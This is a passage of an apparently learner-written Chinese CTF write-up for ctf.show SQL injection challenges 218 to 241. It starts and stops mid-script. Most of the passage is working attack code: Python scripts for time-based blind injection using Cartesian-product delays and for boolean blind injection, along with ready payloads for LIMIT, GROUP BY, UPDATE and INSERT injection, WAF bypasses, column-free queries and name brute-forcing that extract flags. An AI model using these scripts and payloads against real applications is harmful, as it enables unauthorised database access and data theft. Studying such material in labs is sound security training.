except:
return True
return False


result = ""
i = 1

while True:
start = 32
end = 127
while not (abs(start-end) == 1 or start == end):
p = (start + end) // 2
if valid_char(i, p):
start = p
time.sleep(3) # benchmark 跑完大概需要 2s ,1.5s 超时后再让脚本停 8s,防止阻塞后全部超时影响时间盲注,导致结果出现问题
else:
end = p
if end < start:
end = start

result += chr(end)
print(f"[*] result: {result}")
i += 1
if chr(end) == '}':
break

由于这个东西比较吃网速,如果出现问题,适当延长sleep的时间长度

218-219(sleep和benchmark被禁)

(219多过滤了rlike,和我们的笛卡尔积关系不大)

看题目过滤

1
2
3
4
5
6
where id = ($id);

//屏蔽危险分子
function waf($str){
return preg_match('/sleep|benchmark/i',$str);
}

使用笛卡尔积

SQL注入经验-大负荷注入 - 腾讯云开发者社区-腾讯云 (tencent.com)

通过采用 1 个表 2 个列,或者 2 个列一个表,等等各种组合找出合适的延时的时间。

参考别人师傅写好的exp

exp

经过测试,利用 information_schema 中的数据,一个 columns 和两个 tables 的笛卡尔积刚好能延时 6 秒左右,适合构造 payload。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import time
import requests

url = "http://af34bdbe-291d-4bad-b112-ca31adbcc85a.challenge.ctf.show/api/"
# 表名 ctfshow_flagxc,ctfshow_info
# payload = "ascii(mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{}"
# 列名 id,flagaac
# payload = "ascii(mid((select group_concat(column_name) from information_schema.columns where table_schema=database()),{},1))>{}"
# flag
payload = "ascii(mid((select flagaac from ctfshow_flagxc),{},1))>{}"

def valid_payload(p:str) -> bool:
data = {
"debug":0,
"ip": f"if({p},(select count(*) from information_schema.columns A,information_schema.tables B,information_schema.tables C),1) "
}
time_s = time.time()
_ = requests.post(url=url,data=data)
time_e = time.time()
# 改用手动计时防止多次没跑完的笛卡尔积叠加卡死影响注入使用之前那个timeout来报错返回true或false也行的捏
return time_e-time_s > 4

index = 1
result = ""
print("少女折寿中: ")
while True:
start = 32
end = 127
while not (abs(start-end)==1 or start == end):
everage = (start + end) // 2
if valid_payload(payload.format(index, everage)):
start = everage
else:
end = everage
if end<start:
end = start
result += chr(end)
print(f"\r flag is : {result}",end="")
index += 1
if chr(end) == "}":
break
print("\n⑨酱使命完成")

亲自尝试也确实是6s

image-20220823150042653

payload

1
ip=if(ascii(mid((select flagaac from ctfshow_flagxc),1,1))>32,(select count(*) from information_schema.columns A,information_schema.tables B,information_schema.tables C),1)&debug=0

除了information_schema.columns 和 information_schema.table可以使用,同样information_schema.schemata也能使用m-,但是它的count数肯定不如前面那两个多,反正自己组合吧,我尝试了

1
ip=if(ascii(mid((select flagaac from ctfshow_flagxc),1,1))>32,(SELECT count(*) FROM information_schema.columns A, information_schema.schemata B, information_schema.schemata C, information_schema.schemata D,information_schema.schemata E,information_schema.schemata F),1)&debug=0

延时大概是1.4s左右(这个就需要网速比较好才不会出问题,但跑起来比之前那个省较多时间(触发延时的时候比较短,总体节省3-4分钟吧)。但是时间短了,就一定一定要注意网络不要波动太大,不然老老实实用上面的那个吧),再加到G就是7s了,还不如上面的那个

也就只是改了一下payload,嘛,还是贴一下,方便复制粘贴(还是容易出错,毕竟时间太短了,假如某个时间网卡一下,flag就错了)

(还是建议用上面那个时间长一点的,这个就当拓展思维了,要是能凑出4s左右的应该也可以用。这个自己手动调整也能用)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import time
import requests

url = "http://2ed44bf1-af80-4d14-886c-50ce08dda8f6.challenge.ctf.show/api/"
# 表名 ctfshow_flagxc,ctfshow_info
# payload = "ascii(mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{}"
# 列名 id,flagaac
# payload = "ascii(mid((select group_concat(column_name) from information_schema.columns where table_schema=database()),{},1))>{}"
# flag
payload = "ascii(mid((select flagaac from ctfshow_flagxc),{},1))>{}"

def valid_payload(p:str) -> bool:
data = {
"debug":0,
"ip": f"if({p},(SELECT count(*) FROM information_schema.columns A, information_schema.schemata B, information_schema.schemata C, information_schema.schemata D,information_schema.schemata E,information_schema.schemata F),1) "
}
time_s = time.time()
_ = requests.post(url=url,data=data)
time_e = time.time()
# 改用手动计时防止多次没跑完的笛卡尔积叠加卡死影响注入使用之前那个timeout来报错返回true或false也行的捏
return time_e-time_s > 0.9

result = ""
#半自动,请自行调整result
index = 1 + len(result)
print("少女折寿中: ")
while True:
start = 32
end = 127
while not (abs(start-end)==1 or start == end):
everage = (start + end) // 2
if valid_payload(payload.format(index, everage)):
start = everage
else:
end = everage
if end<start:
end = start
result += chr(end)
print(f"\r flag is : {result}",end="")
index += 1
if chr(end) == "}":
break
print("\n⑨酱使命完成")

220(多禁了substr和concat)

还是看看过滤

1
2
3
4
5
//屏蔽危险分子
function waf($str){
return preg_match('/sleep|benchmark|rlike|ascii|hex|concat_ws|concat|mid|substr/i',$str);
}

因为多禁了concat,所以之前我们使用left等替换mid、substr,依旧可行,但是需要配合limit一个一个查来绕过concat的限制

然后之前的限制依旧未解除,还是使用笛卡尔积(这里我使用的网速要求较低的。之前那个跑出来还是有问题,分段跑还行,半自动吧,看着它卡着不动了,就是当前末尾的不对,导致下一个也不能匹配,除去下一个之后,调整一下index和result重新接着跑就行)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49

import string
import time

import requests

url = "http://bbd0ffd9-1926-4091-8fc7-73399a2a4f0a.challenge.ctf.show/api/"
# 表名 ctfshow_flagxcac
# payload = "left((select table_name from information_schema.tables where table_schema=database() limit 0,1),{})='{}'"
# 列名 flagaabcc
# payload = "left((select column_name from information_schema.columns where table_name='ctfshow_flagxcac' limit 1,1),{})='{}'"
# flag
payload = "left((select flagaabcc from ctfshow_flagxcac limit 0,1),{})='{}'"


def valid_payload(p: str) -> bool:
data = {
"debug": 0,
"ip": f"if({p},(select count(*) from information_schema.columns A,information_schema.tables B,"
f"information_schema.tables C),1) "
}
time_s = None
time_e = None
while True:
time_s = time.time()
try:
_ = requests.post(url, data=data)
except:
continue
time_e = time.time()
break
# 改用手动计时防止多次没跑完的笛卡尔积叠加卡死影响注入
return time_e-time_s > 4


letters = "{}_-" + string.ascii_lowercase + string.digits
index = 1
result = ""

while True:
for letter in letters:
load = payload.format(index, result + letter)
if valid_payload(load):
result += letter
break
print(f"[*] result: {result}")
index += 1
if result[-1] == "}":
break

其他子句注入

limit 注入

资料1

此方法适用于MySQL 5.x中,在limit语句后面的注入 (应该是5.6以上修复了)

可参考文章: [转载]Mysql下Limit注入方法 | 离别歌 (leavesongs.com)

看文章讨论

image-20220823211612559

所以在procedure里面我们还是写 extractvalue() 而不用 select() 吧,这样版本限制要弱一些,可利用机会更多

资料2

查看另外师傅的博客

mysql语句:select * from limit test limit 1,[可控点] or select … limit [可控点]

limit后面能够拼接的函数只有into和procedure,into可以用来写文件,本文我们不考虑。在Limit后面 可以用 procedure analyse()这个子查询,而且只能用extractvalue 和 benchmark 函数进行延时

procedure analyse(updatexml(rand(),concat(0x3a,benchmark(10000000,sha1(1)))),1)

演示

select field from user where id >0 order by id limit 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);

时间盲注

SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)

注意看,我们可利用的注入位置是limit 的两个数字之后的位置,不是哪里都可以插procedure analyse的

221

1
2
3
4
5
6
7
8
查询语句
//分页查询
$sql = select * from ctfshow_user limit ($page-1)*$limit,$limit;

返回逻辑
//TODO:很安全,不需要过滤
//拿到数据库名字就算你赢

看题,我们的注入点在limit处,而且可以利用

利用 procedure analyse 构造参数。

payload

1
/api/?page=1&limit=1 procedure analyse(extractvalue(rand(),concat(0x3a,database())),1)

这里的page 1-1=0,相当于只有后面的limit语句了

拼接之后的sql语句

1
$sql = select * from ctfshow_user limit 0,1 procedure analyse(extractvalue(rand(),concat(0x3a,database())),1);

image-20220823215511074

group by注入

资料

(gruop by 的报错注入)

CTF-sql-mysql group by报错注入 - 浅易深 - 博客园 (cnblogs.com)

  • select count(*) from information_schema.tables group by concat(database(),floor(rand(0)*2));
    
    1
    2
    3
    4
    5

    一定可以注入成功(要成功注入,前提表中的记录数至少为三条)

    - ```sql
    select count(*) from information_schema.tables group by concat(database(),floor(rand()*2));却不一定了吧。
    (要成功注入,前提表中的记录数至少为两条)

222

(group by 时间盲注,我试了一下报错注入好像不行,不知道为啥,可能是学艺不精)

还是先看题

1
2
3
4
5
6
查询语句
//分页查询
$sql = select * from ctfshow_user group by $username;

过滤
//TODO:很安全,不需要过滤

知道了gruop by 的注入原理之后,可以使用之前的时间盲注脚本,这里以笛卡尔积的脚本演示

(大致就是group by 会执行by后面的语句(要知道怎么排序所以需要执行呗),然后会爆错,信息会出现在报错中,能带出信息最好,不行就盲注呗)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import time

import requests

url = "http://07654e27-2464-4ef8-ba5f-cafdafabfd66.challenge.ctf.show/api/"
# 表名 ctfshow_flaga,ctfshow_user
# payload = "ascii(mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{}"
# 列名 id,flagaabc,info,id,username,pass
# payload = "ascii(mid((select group_concat(column_name) from information_schema.columns where table_schema=database()),{},1))>{}"
# flag
payload = "ascii(mid((select flagaabc from ctfshow_flaga),{},1))>{}"

print("Cirno: 查询中(◍•ᴗ•◍)❤ ")
def valid_payload(p: str) -> bool:
params = {"u":f"if({p},(select count(*) from information_schema.columns A,information_schema.tables B,information_schema.tables C),1) "}
time_s = None
time_e = None
while True:
time_s = time.time()
try:
_ = requests.get(url=url,params=params)
except:
continue
time_e = time.time()
break
# 改用手动计时防止多次没跑完的笛卡尔积叠加卡死影响注入
return time_e-time_s > 4


index = 1
result = ""

while True:
start = 32
end = 127
while not(abs(start - end) == 1 or start == end):
everage = (start + end) // 2
if valid_payload(payload.format(index, everage)):
start = everage
else:
end = everage
if end < start:
end = start
result += chr(end)
print(f"[*] result: {result}")
index += 1
if result[-1] == "}":
break
print("\n本天才查询完成 。◕‿◕。 ")

自己的快速半自动(速度快多了,不嫌咱这半自动麻烦可以用)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import time

import requests

url = "http://07654e27-2464-4ef8-ba5f-cafdafabfd66.challenge.ctf.show/api/"
# 表名 ctfshow_flaga,ctfshow_user
# payload = "ascii(mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{}"
# 列名 id,flagaabc,info,id,username,pass
# payload = "ascii(mid((select group_concat(column_name) from information_schema.columns where table_schema=database()),{},1))>{}"
# flag
payload = "ascii(mid((select flagaabc from ctfshow_flaga),{},1))>{}"

print("Cirno: 查询中(◍•ᴗ•◍)❤ ")
def valid_payload(p: str) -> bool:
params = {
"u": f"if({p},(SELECT count(*) FROM information_schema.columns A, information_schema.schemata B, information_schema.schemata C, information_schema.schemata D,information_schema.schemata E,information_schema.schemata F),1) "
}
time_s = None
time_e = None
while True:
time_s = time.time()
try:
_ = requests.get(url=url,params=params)
except:
continue
time_e = time.time()
break
# 改用手动计时防止多次没跑完的笛卡尔积叠加卡死影响注入
return time_e-time_s > 0.9


result = ""
#半自动,请自动调整result
index = 1 + len(result)

while True:
start = 32
end = 127
while not(abs(start - end) == 1 or start == end):
everage = (start + end) // 2
if valid_payload(payload.format(index, everage)):
start = everage
else:
end = everage
if end < start:
end = start
result += chr(end)
print(f"[*] result: {result}")
index += 1
if result[-1] == "}":
break
print("\n本天才查询完成 。◕‿◕。 ")

223

题目上还是和之前一样

1
2
3
4
5
//分页查询
$sql = select * from ctfshow_user group by $username;

//TODO:很安全,不需要过滤
//用户名不能是数字

但是测试后发现用户名输入不能包含数字,密码返回也不能包含密码,使用true替换即可,根据sql查询语句,我们可以使用username,所以可以使用布尔盲注,这样就比时间盲注省时间多了

具体步骤

1
/api/?u=concat(database(),floor(rand()*(true%2Btrue)))

image-20220824210812216

可以明显发现有个列名是username,我们先group by 一下 username

image-20220824210909564

这里就把所有的数据写出来了(但是没有flag的,所以我猜测是不密码中包含数字的显示,所以使用了盲注)

当然这里时间盲注也行,但是太慢了,能布尔盲注还是布尔,我们发现可以以 passwordAUTO 作为判断,我们只需要没执行语句替换为无passwordAUTO的就行了,于是我是用了”ctfshow”

image-20220824211200023

上面的user1 和 user2不能用,被ban了嘛别做题做着做着做忘了

(我看有的师傅写的’a’也能行,不知道啥原理,有空上mysql试试=。=)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import time

import requests


def make_num(i: int) -> str:
return '+'.join("true" for _ in range(i))


url = "http://0b4bad5c-5040-42fc-93a4-f4a18f3629de.challenge.ctf.show/api/"
# 表名 ctfshow_flagas,ctfshow_user
# payload = "ascii(mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},true))>{}"
# 列名 id,flagasabc,info,id,username,pass
# payload = "ascii(mid((select group_concat(column_name) from information_schema.columns where table_schema=database()),{},true))>{}"
# flag
payload = "ascii(mid((select flagasabc from ctfshow_flagas),{},true))>{}"

print("Cirno: 查询中(◍•ᴗ•◍)❤ ")
judge = "passwordAUTO"


def valid_payload(p: str) -> bool:
username = f"if({p},username,'ctfshow')"
response = None
while True:
try:
response = requests.get(f"{url}", params={"u": username})
except:
continue
break
return judge in response.text


index = 1
result = ""

while True:
start = 32
end = 127
while not(abs(start - end) == 1 or start == end):
everage = (start + end) // 2
if valid_payload(payload.format(make_num(index), make_num(everage))):
start = everage
else:
end = everage
if end < start:
end = start
result += chr(end)
print(f"\r[+] here is flag: {result}",end="")
if chr(end) == "}":
break
index += 1
print("\n本天才查询完成 。◕‿◕。 ")

update

231-232(一个是字符串)

题目

1
2
3
4
//分页查询
$sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";

//无过滤

看源码是post username和password

尝试

1
password=1' where 1=1#&username=1

发现确实都更改了

image-20220827174004598

然后我们就可以尝试去获取flag了,因为没有过滤且有回显,所以我们能直接构造payload去获取flag,还有一个需要注意的是,我们实际上修改的是username,因为password在update的时候是有引号包裹的,我们放入语句是会变成字符串的,因此不会执行。所以我们在update password的同时去修改username,剩下的就是普通的操作了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# payload 1 看数据库(username修改的语句记得拿括号包裹,不然会因为之间有空格而被解析成语句。也就是username取select,后面的都变语句了,就会出错)
# information_schema,test,mysql,performance_schema,ctfshow_web
password=1',username=(select group_concat(schema_name) from information_schema.schemata) where 1=1#&username=1



# payload 2 看数据表
# banlist,ctfshow_user,flaga
password=1',username=(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web') where 1=1#&username=1



# payload 3 看字段名
# id,flagas,info
password=1',username=(select group_concat(column_name) from information_schema.columns where table_name='flaga') where 1=1#&username=1



# payload 4 看字段值
# ctfshow{0652bddc-e585-4772-9577-bacc23cfee9c}
password=1',username=(select group_concat(flagas) from flaga) where 1=1#&username=1

233(都是字符)

题目和上一题没什么区别,就是修改之后不会显示了,但是有返回成功还是失败的信息,所以布尔盲注吧,一个一个填充判断是否正确

(主要就是username这里也变成了字符串,所以我们写的语句都变成字符串了,没有解析,需要通过 where 子句中的if 来盲注)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import random
import requests

# 无过滤

url = "http://339c2129-54eb-405c-a41e-9cbf6b64b5ba.challenge.ctf.show/api/"

# 表名 banlist,ctfshow_user,flag233333
#payload = "if(ascii(mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{},1,0) #"
# 列名 id,flagass233,info
#payload = "if(ascii(mid((select group_concat(column_name) from information_schema.columns where table_name='flag233333'),{},1))>{},1,0) -- "
# flag
payload = "if(ascii(substr((select flagass233 from flag233333),{},1))>{},1,0) -- "
print("Cirno: 查询中(◍•ᴗ•◍)❤ ")
judge = "更新成功"


def valid_payload(p: str) -> bool:
data = {
"username": f"ctfshow' and {p}",
"password": str(random.random())
}
response = None
while True:
try:
response = requests.post(url=url, data=data)
except:
continue
break
return judge in response.json()["msg"]


result = ""
index = 1
while True:
start = 32
end = 127
while not (abs(start - end) == 1 or start == end):
p = (start + end) // 2
if valid_payload(payload.format(index,p)):
start = p
else:
end = p
if end < start:
end = start
if chr(end) == "}" or chr(end) == "!":
break
result += chr(end)
print(f"\r[+] result: {result}", end="")
index += 1
print("\n本天才查询完成 。◕‿◕。 ")

这是参考b477eRy师傅的脚本写的,其中他将password设为了值str(random.random()),我最初研究之后认为还是自己sql语言没学好,认为应该是 update 在遇到 相同的值,在一些情况是不会进行修改的,也就是说这里取随机数的目的就是让他不相等,免得导致where子句if不执行。但是看了其他师傅的时间盲注,我才意识到,应该是修改相同之后,会导致页面返回值一直返回更新成功(这题就是语句错了也tnnd返回更新成功,所以如果密码需要一直变)(对了,username也要写一个存在的字段名才行)

还有其他师傅写的时间盲注脚本,但是它的这里username 和password都没有上面的限制(不需要在乎页面的返回值)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import requests

url = "http://d4c54e32-5b33-408d-a14a-2f2b6a7f553f.challenge.ctf.show/api/?page=1&limit=10"

result = ""
i = 0

while 1:
i = i + 1
head = 32
tail = 127

while head < tail:
mid = (head + tail) >> 1
# 查数据库
# payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
# 查表名
# payload = "select column_name from information_schema.columns where table_name='flag233333' limit 1,1"
# 查数据
payload = "select flagass233 from flag233333"
data = {
'username': f"1' or if(ascii(substr(({payload}),{i},1))>{mid},sleep(0.05),1)#",
'password': '4'
}
try:
r = requests.post(url, data=data, timeout=0.9)
tail = mid
except Exception as e:
head = mid + 1
if head != 32:
result += chr(head)
else:
break
print(result)

234(无单引号,使用 \ 逃逸)

1
2
3
4
//分页查询
$sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";

//无过滤

其实是有过滤的,过滤了单引号

我们可以用 \ 来逃逸,将后一半引号转义变为

1
$sql = "update ctfshow_user set pass = '\' where username = 'username';";

这样pass里面的内容就是' where username =,接下来username里面的参数就是可以控制的了

然后直接使用最开始的方法就行(需要注意的是username里面要先写一个 , (逗号) 先把前面的句子分开,然后再写一个username=)

1
2
3
4
5
6
7
8
9
payload(记得url encode一下,字段名好像必须得16进制,原型的 "\" "#" 和表名啥的直接执行不出来== ):
# banlist,ctfshow_user,flag23a
password=%5C&username=,username=(select group_concat(table_name) from information_schema.tables where table_schema=database())%23

# id,flagass23s3,info
password=%5c&username=,username=(select group_concat(column_name) from information_schema.columns where table_name=0x666c6167323361)%23

#ctfshow{9f94d0df-2bee-4286-9c98-68bc2c9f4ee1}
password=%5C&username=,username=(select flagass23s3 from flag23a)%23

效果图

image-20220827203644095

235(无列名注入,information_schema 被过滤)

部分资料

CTF|mysql之无列名注入 - 知乎 (zhihu.com)

在 mysql => 5 的版本中存在一个名为 information_schema 的库,里面记录着 mysql 中所有表的结构。通常,在 mysql sqli 中,我们会通过此库中的表去获取其他表的结构,也就是表名、列名等。但是这个库经常被 WAF 过滤。

在 information_schema 中,除了 SCHEMATA、TABLES、COLUMNS 有表信息外,高版本的 mysql 中,还有 INNODB_TABLES 及 INNODB_COLUMNS 中记录着表结构。

文章中还提到了个别名,自己尝试之后才理解为什么要写,具体看下面

概述MySQL统计信息_Mysql_脚本之家 (jb51.net)

5.6.6开始,MySQL默认使用了持久化统计信息,即INNODB_STATS_PERSISTENT=ON,持久化统计信息保存在表mysql.innodb_table_stats和mysql.innodb_index_stats。

1
2
3
4
//分页查询
$sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";

//过滤 or '

看题目,过滤了 or 和 ‘ 这样 information_schema 就也不能用了(information单词里面有or,惨),改用 mysql.innodb_table_stats 查表名

payload (记得查数据的时候一定要配合limit)

1
2
3
4
5
6
7
8
9
10
11
12
13
# payload 1 
# banlist,ctfshow_user,flag23a1
username=,username=(select group_concat(table_name) from mysql.innodb_table_stats where database_name=database())-- - &password=\

# payload 2
# ctfshow{2e79edc9-0d19-4aac-945a-4f796dfc35a0}
username=,username=(select b from (select 1,2 as b,3 union select * from flag23a1 limit 1,1)a)-- -&password=\
# 因为这里只能单行显示,所以要配合limit来一个一个查,没有limit的话查不出来


或者一样的没区别只是如果没过率数字可以这样玩
# username=,username=(select `2` from(select 1,2,3 union select * from flag23a1 limit 1,1)a)-- - &password=\

接下来来说一下取别名的事,因为我看那个取了别名a却没有使用,我在想能不能不进行取别名的操纵,但是实际上,我们去掉取别名的操作就执行不了了,我们在本地试试

先看看antry表内容

image-20220828162105726

再使用上面payload的取别名的方式进行查找

image-20220828162153542

删除别名

image-20220828162245348

发现报错了

1
Every derived table must have its own alias

大体可以参考文章

(37条消息) Every derived table must have its own alias(sql语句错误解决方法)_MonoWx的博客-CSDN博客

总之就是多表查询时,派生表需要起别名(到头来还是当时学mysql的时候偷工减料了QAQ)

236(没啥重点,检测返回值)

没啥好说的,检测返回值是否包含”flag”字符串(也就是说上一题payload可以直接打=。=,因为flag里面其实是ctfshow{xxxx},没有flag字符串(除非运气太差了),可能是以前是flag{xxx},后来改了,但是没改题)

具体遇到这种题,使用个to_base64即可,最开始的sql注入就遇到过这种问题=。=

payload

1
2
3
4
username=,username=(select group_concat(table_name) from mysql.innodb_table_stats where database_name=database())-- - &password=\

username=,username=(select to_base64(b) from (select 1,2 as b,3 union select * from flaga limit 1,1)a)-- - &password=\

insert

237

1
2
3
4
5
//插入数据
$sql = "insert into ctfshow_user(username,pass) value('{$username}','{$password}');";

//无过滤

payload 1(没过滤单引号,简单闭合)

(直接在添加框内输入就行,不需要hackbar也行,,需要注意的就是最后还得加上 ); 来闭合value函数,不然执行不了)

1
2
3
4
5
6
7
# 查表名 
# banlist,ctfshow_user,flag
username=koishi',(select group_concat(table_name) from mysql.innodb_table_stats where database_name=database()));#
password=1

# 查数据——无列名查询(既然会了这么便利的方式,就直接使用了,也可以使用之前的步骤先字段名再字段值)
koishi',(select b from (select 1,2 as b,3 union select * from flag limit 1,1)a));#

这个payload是通过闭合单引号的方式来查询的,还有师傅说可以用username取 \ 的方式来逃逸出 password 来进行注入,但是我实际测试没弄出来,淦

(奥,弄出来了,我是铸币,是在发现最后要加上 0; 之后,才发现之前试的时候没加)

payload 2(假如过滤了单引号,\ 逃逸)

下面输入的位置都是

用户名

密码

的形式

1
2
3
4
5
6
7
8
9
10
# 查表名
# banlist,ctfshow_user,flag
\
,(select group_concat(table_name) from information_schema.tables where table_schema=database()));#


# 无列名查询
# ctfshow{5e1b90d2-20b4-4685-ac6a-1580a25c1352}
\
,(select b from (select 1,2 as b,3 union select * from flag limit 1,1)a));#

238(过滤空格)

1
2
3
4
//插入数据
$sql = "insert into ctfshow_user(username,pass) value('{$username}','{$password}');";

//过滤空格

尝试 %09 %0a %0b %0c %0d /**/ 都不行,括号可以。

我们常规的payload 可以使用括号绕过,而无列名查询不能用了QAQ(union和select之间没法括号隔开) ,简单贴一下payload

payload(皆放username位置,password随便)

1
2
3
4
5
6
7
8
9
10
11
12
# 数据库
# banlist,ctfshow_user,flagb
koishi',(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())));#

# 查列名
# id,flag,info
koishi',(select(group_concat(column_name))from(information_schema.columns)where(table_schema=database())and(table_name='flagb')));#

# 查数据
# ctfshow{0149052a-d915-40ca-8a23-08125298eaeb}
koishi',(select(group_concat(flag))from(flagb)));#

这里也可以使用 \ 逃逸的形式,但是我就不再写了,实战遇到进行修改即可

239(空格和information_schema)

1
2
3
4
5
6
//插入数据
$sql = "insert into ctfshow_user(username,pass) value('{$username}','{$password}');";

//过滤空格 or

value('{$username}','{$password}');"

有过滤的 insert 注入、相比上题过滤了 orinformation_schema 再次中枪,改用 mysql.innodb_table_stats,其他不变。

半场payload

1
2
3
# sql查表名
# banlist,ctfshow_user,flagbb
koishi',(select(group_concat(table_name))from(mysql.innodb_table_stats)where(database_name=database())))#

到这里就尬住了,过滤了空格,无列名注入用不了,or也过滤了,这样查不到列名,所以我们只能爆破了=。=

自己写脚本跑吧,脚本里面用的是 \ 逃逸的方法(因为想两个都练练加深印象,当然正常的也行)

script

(由于不论语句是否正常,页面都是返回的是 “插入成功” ,意味着布尔盲注下台了。而information_schema被禁了,也意味着时间盲注拜拜,但是这题有个好处就是我们可以随时看见数据有哪些,也就是说我们只用看看页面上存不存在我们插入的数据就能判断了(因为找不到那些数据在哪个页面,所以先跑一点点看看页面上有没有吧,本来想写脚本一次性拿到的,哎)。还有用不了二分法,因为比较不了,只能从头跑到尾了。bp也能爆破,但是本着练手的目的,试着写了脚本,妈的**写了两个半小时**,下次有现成工具,狗都不写脚本。也说明了我python算法真的拉(我真的觉得我能写出来真的谢天谢地了))

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import itertools
import requests
import string

from copy import deepcopy

url = "http://042fe865-c53e-4f80-9627-5043eff5461d.challenge.ctf.show/api/insert.php"
# 输入框在insert.php,千万别只写api就结束了
payload = "koishi',(select({})from(flagbb)));#"
s = "acfgl"


def permutations(arr, position, end):
if position == end:
# if position == end-1:
h.append(deepcopy(arr))

else:
for index in range(position, end):
arr[index], arr[position] = arr[position], arr[index]

permutations(arr, position + 1, end)
arr[index], arr[position] = arr[position], arr[index]
global h
h = []

index =1
while True:
nameList = list(itertools.combinations(list(s), index))
a = list(itertools.combinations(list("1234"), 2))
for temp in nameList:
trueName = str(temp).replace(",", "").replace('\'', "").replace("(", "").replace(")", "").replace(" ", "")
arr = list(trueName)
permutations(arr, 0, len(arr))
for temp in h:
finalName=str(temp).replace(",", "").replace('\'', "").replace("[", "").replace("]", "").replace(" ", "")

data = {
"username": payload.format(finalName),
"password": "1"
}
requests.post(url=url,data=data)
print(f"{data}")
h=[]
index += 1
if index >= 5:
break

这是一个非常消耗阳寿的脚本,因为我知道列名是flag,所以我设置了index大于等于5时跳出,而且选择的字符非常少,还是花了较长时间。但是如果真实的列名更长的话,那就试着优化一下脚本或者换个方法吧(bp也许快得多?而且脚本有小瑕疵,因为python学的不精,就是list转str那里,如果列名包含replace里面的字符的话就GG)(如果知到列名的组成的话,可以适当减少s的参与递归的数量,我这里直接少了一堆,还是耽误时间。(实战遇到我直接吐)

拿到跑出来的列名之后,在页面可以直接拿到flag值,变成payload如下

1
2
3
4
5
6
7
8
# sql查表名
# banlist,ctfshow_user,flagbb
koishi',(select(group_concat(table_name))from(mysql.innodb_table_stats)where(database_name=database())))#

# 查数据
# ctfshow{5bcf09a8-3084-4f7a-9011-d586d5fb650b}
koishi',(select(flag)from(flagbb)));#

bp

咱还是用bp吧,自己的脚本优化太垃圾了(线程还是单线程=。=,不如bp)(用的其他师傅的原图)

抓包

img

设置payload:

image-20211009150345481

开始爆破,同时不断刷新页面,因为返回值解码后都是插入成功,所以没有办法通过length判断flag是否出来

注意:只有正确(数据库中存在)的列名查询出结果后才会添加到列表中,数据没有的列名查不出数据,其结果为空,不会添加到列表中

当跑到这里2000左右的时候出来了flag

image-20211009150614540

可以看到这个师傅在操作的时候,字符也只选了6个(flagbc),要是也是全写完的话估计也得要很长时间,我自己没试。要是真遇到的话,真的耗阳寿。

240(再加上过滤mysql字段)

1
2
3
//插入数据
$sql = "insert into ctfshow_user(username,pass) value('{$username}','{$password}');";
//过滤空格 or sys mysql

我真的裂开,上一题好歹还有数据库,好家伙,这回连数据库也给我办了,牛逼。真就阳寿题?

然后发现有个Hint

Hint: 表名共9位,flag开头,后五位由a/b组成,如flagabaab,全小写

表名爆破就ok,但是咱又咋知道列名,这样咋来判断我们的脚本是否正确,上网找了找,基本上都是有之前的题易得列名是flag,只用猜数据库名=。=,行吧,比赛遇到直接。。。。得,就这样吧

写个脚本:

exp

1
2
3
4
5
6
7
8
9
10
11
12
import requests

url = "http://ba8eb13e-9ed6-4e98-ab23-a0e2e710ba64.challenge.ctf.show/api/insert.php"
payloads = [{
"username": "\\",
"password": f",(select(flag)from(flag{a})))#;"
}for a in [f"{a}{b}{c}{d}{e}"for a in "ab" for b in "ab" for c in "ab" for d in "ab" for e in "ab"]]
# 这个payload 是参考 b477eRy 师傅写的,这里的生成list的for循环只能说python知识又学到了(我之前完全没学过python,都是凑合着写的)

for payload in payloads:
response = requests.post(url, data=payload)
print(f"trying: {payload}")

回页面刷新就有flag了。

delete

241

1
2
3
//删除记录
$sql = "delete from ctfshow_user where id = {$id}";
//无过滤

无过滤的 delete 注入,没有分号数字型注入,布尔盲注记录会越来越少(还没跑完,记录就无了=。=),用时间盲注。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
